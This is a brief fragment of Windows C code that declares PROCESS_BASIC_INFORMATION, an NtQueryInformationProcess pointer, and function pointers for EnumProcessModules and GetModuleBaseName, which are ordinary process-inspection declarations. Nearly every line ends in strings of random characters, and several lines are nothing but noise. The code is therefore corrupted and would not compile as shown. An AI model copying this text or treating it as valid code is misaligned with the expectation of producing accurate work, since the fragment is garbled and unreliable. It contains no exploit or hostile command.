ULONG InheritedFromUniqueProcessId; $~)SCbL^5
} PROCESS_BASIC_INFORMATION; (8OsGn
3so%gvY.'
PROCNTQSIP NtQueryInformationProcess; l]SX@zTb
='jT~\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zbiL P83
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0g;|y4SN=
Z_NCD`i;
HANDLE hProcess; kx^/*~ex
PROCESS_BASIC_INFORMATION pbi; ar,7S&s